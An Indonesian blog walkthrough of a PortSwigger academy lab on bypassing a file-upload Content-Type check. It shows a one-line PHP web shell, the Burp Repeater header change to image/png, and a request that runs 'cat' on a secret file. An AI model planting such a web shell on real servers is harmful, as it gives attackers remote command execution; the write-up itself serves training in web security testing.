Portswigger academy File Upload vulnerabilities Lab: Web shell upload via Content-Type restriction bypass
Masih seputar file upload vulnerabilities. Namun kali ini, system atau website mengharuskan kita mengupload file berekstensi image seperti .jpg dan .png
Buka halaman lab portswigger, dan sama seperti sebelumnya. Ada petunjuk untuk kita login dengan username dan password yang telah diberitahu. Selanjutnya upload avatar.
Di sini saya mendapatkan username wiener dan password peter.
Selanjutnya upload file php.
Seperti terlihat pada gambar diatas, kali ini saya menggunakan payload:
<?php system($_GET['cmd'])?>
yang artinya, fungsi system akan dijalankan saat code menerima input dari parameter cmd. Jadi misalkan ada input cmd=whoami , maka server akan mengeksekusi dan menampilkan hasil output.
Terlihat di gambar, bahwa fiture upload hanya mengizinkan file image/png atau image/jpg. Kita dapat mem-baypass nya dengan cara,
send to repeater url yang /my-account/avatar, lalu ubah content type nya menjadi image/png atau image/jpg
Maka payload kita yang berformat .php akan berhasil diupload:
Selanjutnya, eksekusi program kita yang sudah terupload dengan cara, kembali ke proxy > http history, lalu pilih url yang ada file eksploit yang berhasil diupload:
selanjutnya klik kanan, send to repeater.
dan ubah parameternya menjadi:
GET /files/avatars/eksploit.php?cmd=cat+/home/carlos/secret HTTP/2
selanjutnya klik send. Pada respon nantinya burpsuite akan menampilkan kode untuk kita submit labnya.
Copas ke submit solution:
Lab berhasil diselesaikan:












Komentar
Posting Komentar